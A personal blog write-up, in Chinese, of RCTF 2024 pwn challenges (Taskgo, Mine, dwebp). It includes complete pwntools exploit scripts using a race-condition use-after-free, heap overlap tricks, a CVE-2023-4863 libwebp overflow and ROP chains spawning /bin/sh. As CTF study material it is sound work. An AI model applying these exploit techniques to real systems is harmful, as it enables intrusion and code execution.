2024 rctf pwn wp

忙碌的半周……

周四出发去福州→周五铁三→周六酒店打rctf→周日返程+京麒(还延误了将近两个小时^V^)

铁三只出了签到,rctf做了两道题的前期准备工作,京麒零输出;最后铁三二等,京麒也进了(感谢队友orz),结果也算不错

某人又因为被蚊子咬过敏了^V^,还挺严重所以吃了过敏药,吃完整个人又呆又困,去福州之前右胳膊整个肿了,在福州又喜提三四口(一晚上被蚊子吓醒n次),回来之后胳膊好了,右脚踝肿了(肿的我室友以为我脚崴了),蚊子怎么还不灭绝(╯‵□′)╯︵┻━┻

以及没抢上赵孤的票(虽然也算意料之中的事),本来兴趣也不大所以倒也无所谓,与其说我想看不如说我想和hjy一起去看

Taskgo

思路

race,比赛做的时候主要靠试,现在捋一下逻辑

base::TaskRunner::PostTask启动任务,一共两个线程

  • MainThread(g_main_thread_task_runner)
    • 所有菜单
    • MagicCastle::SwitchHandle
    • MagicCastle::BuyMS,MagicCastle::DropMS,MagicCastle::LearnMS
    • FiveStar
  • IOThread(g_io_thread_task_runner)
    • RapidAdvance::PickHandle
    • RapidAdvance::StartRA
    • MagicHeld::Gods
    • Log
    • NoteStar

Leak

  • RapidAdvance和MagicCastle不是一个线程
  • CheckMoney会先sleep再结算
  • RapidAdvance的CheckMoney sleep卡住的时候可以调用BuyMS把钱刷成负数

集齐三个MS就可以1337调用Gods获得system和BackDoor地址

RCE

  • BuyMS中会申请一个结构体MagicHeld

  • DropMS中会调用MagicHeld::~MagicHeld把它释放掉

  • MagicHeld::Gods的参数也是MagicHeld(废废的一句话(lll¬ω¬))

    • 利用MagicHeld输出Log的地址

    • 调用Log

  • RapidAdvance里买两次可以调用FiveStar和NoteStar留Comment

所以可以通过race把MagicHeld free掉再通过Comment申请回来改掉,执行BackDoor

流程如下:

  • Gods
  • DropMS
  • RapidAdvance两次,留Comment

race == 玄学

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

def choose(idx):
p.sendline(str(idx).encode())

def show():
choose(3)

def rapids(s):
choose(1)
choose(s)

def magic_buy(s):
choose(2)
choose(1)
choose(s)

def magic_drop():
choose(2)
choose(2)

def magic_learn():
choose(2)
choose(3)


p=process('./ctf')
name=b'flag'

#gdb.attach(p)
#pause()

p.sendlineafter(b'Hello, nice day. Player, please tell me your name: \n',name)
rapids(3)
magic_buy(2)
magic_learn()
magic_drop()
magic_buy(1)
magic_learn()
magic_drop()
magic_buy(3)
magic_learn()
choose(2)
choose(1337)

p.recvuntil(b'0x')
system=int(p.recvline()[:-1],16)
p.recvuntil(b'0x')
log=int(p.recvline()[:-1],16)
p.recvuntil(b'0x')
backdoor=int(p.recvline()[:-1],16)
print(hex(system))
print(hex(log))
print(hex(backdoor))

choose(2)
choose(1337)

magic_drop()

rapids(1)
p.recvuntil(b'Hope your next visit.')
rapids(1)

p.sendlineafter(b'Input the Comments: ',b'a'*0x28+p64(backdoor))


p.interactive()

Mine

又是wasm,qwb经典再现

思路

扫雷

  • uncover:U扫雷
  • mask:M标记
  • change:U一次后输入别的字母可以更改整个map的内容

洞在change里

r9b为负数的时候movsx会扩展为负数,可以直接改name的指针,指向flag即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level='debug'
context.arch='amd64'
context.os='linux'

p=process('./run.sh')
pause()
p.sendlineafter(b"Your Name:",b"a")
p.sendlineafter(b"mark): ",b"0 0 U")
p.sendlineafter(b"mark): ",b"0 0 A")

for i in range(15):
for j in range(16):
sleep(0.02)
p.sendlineafter(b"]:",b"n")

p.sendlineafter(b"]:",b"y "+p8(0x90))

for i in range(15):
sleep(0.02)
p.sendlineafter(b"]:",b"n")

p.interactive()

dwebp

非预期

思路

size过大的话还是会申请feedback结构体,但没有初始化

  • 如果是从tcache中申请chunk content指针就是加密过的next指针
  • 如果是unsorted bin残留的刚好0x20的chunk,会先放进tcache再返回,同上
  • 如果是切割unsorted bin的话不会出现这种问题↑
  • 可以用unsorted bin残留的指针改main_arena,造堆块重叠

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'


def add(idx,size,content):
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'> ',str(idx).encode())
p.sendlineafter(b'How many words do you want to feedback?\n',str(size).encode())
p.sendlineafter(b'Please input your feedback:\n',content)

def delete(idx):
p.sendlineafter(b'> ',b'4')
p.sendlineafter(b'> ',str(idx).encode())

def show(idx):
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'> ',str(idx).encode())

def edit(idx,content):
p.sendlineafter(b'> ',b'5')
p.sendlineafter(b'> ',str(idx).encode())
p.sendlineafter(b'Please input your feedback:\n',content)


p=process('./dwebp')
libc=ELF('./libc.so.6')
add(1,0x500,b'a')
add(2,0x100,b'a')
delete(1)
add(1,0x600,b'a')
delete(1)
add(1,0x500,b'a')

show(1)

p.recvuntil(b'Feedback:\n')
p.recv(8)
libcbase=u64(p.recv(8))-0x21b110
heap=u64(p.recv(8))-0x2b0
print(hex(libcbase))
print(hex(heap))

edit(1,b'\x00'*0x150+p64(0x140)+p64(0x3d0))

delete(1)

add(1,0x100,p64(0)*3+p64(0x141)+p64(libcbase+0x21ace0)*2)

p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'How many words do you want to feedback?\n',str(0x10000).encode())

edit(2,p64(heap+0x8f0)+p64(heap+0x3e0)+p64(heap+0x2d0)*2)

delete(1)

add(1,0x140-0x10,b'\x00'*0xe0+p64(0)+p64(0x21)+p64(libcbase+0x222200)+p64(0x100))

show(2)
p.recvuntil(b'Feedback:\n')
stack=u64(p.recv(8))-0x1a0
print(hex(stack))

edit(1,b'\x00'*0xe0+p64(0)+p64(0x21)+p64(stack)+p64(0x100))

ret=libcbase+0x0000000000029139
rdi=libcbase+0x000000000002a3e5
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
system=libcbase+libc.symbols['system']
payload=p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)

#gdb.attach(p)
edit(2,payload)

p.interactive()

预期解

还是不够深刻,再贴一次~~~///(^v^)\\\~~~

思路

CVE-2023-4863

懒得看原理了

  • bad.webp可以直接触发报错,检测是否有洞
  • nso.webp是可控溢出POC

bad.webp和nso.webp都会造成越界,但bad.webp的越界是连续的且不可控

nso.webp的溢出不连续,可以通过堆风水避免破坏重要数据

大概思路就是通过overflow把size改大进行越界读写

一个小(da)插曲

有个笨比发base64的时候用的sendline,长度校验没过直接跳过了base64的解码,能触发才怪

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
import base64
context.log_level='debug'
context.os='linux'
context.arch='amd64'


def add(idx,size,content):
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'> ',str(idx).encode())
p.sendlineafter(b'How many words do you want to feedback?\n',str(size).encode())
p.sendlineafter(b'Please input your feedback:\n',content)

def delete(idx):
p.sendlineafter(b'> ',b'4')
p.sendlineafter(b'> ',str(idx).encode())

def show(idx):
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'> ',str(idx).encode())

def edit(idx,content):
p.sendlineafter(b'> ',b'5')
p.sendlineafter(b'> ',str(idx).encode())
p.sendlineafter(b'Please input your feedback:\n',content)


p=process('./dwebp')
libc=ELF('./libc.so.6')

add(1,0x500,b'a')
add(2,0x100-0x10,b'a')
delete(1)
add(1,0x600,b'a')
delete(1)
add(1,0x500,b'a')

show(1)

p.recvuntil(b'Feedback:\n')
p.recv(8)
libcbase=u64(p.recv(8))-0x21b110
heap=u64(p.recv(8))-0x2b0
print(hex(libcbase))
print(hex(heap))

with open('nso.webp','rb') as file:
data=file.read()

add(1,0x160,b'a')
delete(1)
add(1,0x1d0,b'a')
delete(1)
add(1,0x230,b'a')
delete(1)

add(1,0x3630,b'a')
add(2,0x10,b'a')
delete(1)

p.sendlineafter(b'> ',b'1')
payload=base64.b64encode(data)
print(payload)
p.sendafter(b'Your webp format image in base64:\n',payload)

add(1,0x34b0,b'a')
add(1,0x20,b'a')

edit(2,b'\x00'*0x10+p64(0)+p64(0x21)+p64(libcbase+0x222200)+p64(8))

show(1)
p.recvuntil(b'Feedback:\n')
stack=u64(p.recv(8))
print(hex(stack))

edit(2,b'\x00'*0x10+p64(0)+p64(0x21)+p64(stack-0x1a0)+p64(0x200))
ret=0x0000000000029139+libcbase
rdi=0x000000000002a3e5+libcbase
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
system=libcbase+libc.symbols['system']

#gdb.attach(p)

payload=p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
edit(1,payload)

p.interactive()

rvm

“逆完了没找到洞?” wjy做vm的经典操作罢了

串频了,这是矩阵杯ε=ε=ε=(~ ̄▽ ̄)~

这题比赛的时候没完全逆完

纯逆向题懒得做了, 详情见S1uM4i的wp


2024 rctf pwn wp
http://akaieurus.github.io/2024/05/28/2024rctfpwnwp/
作者
Eurus
发布于
2024年5月28日
许可协议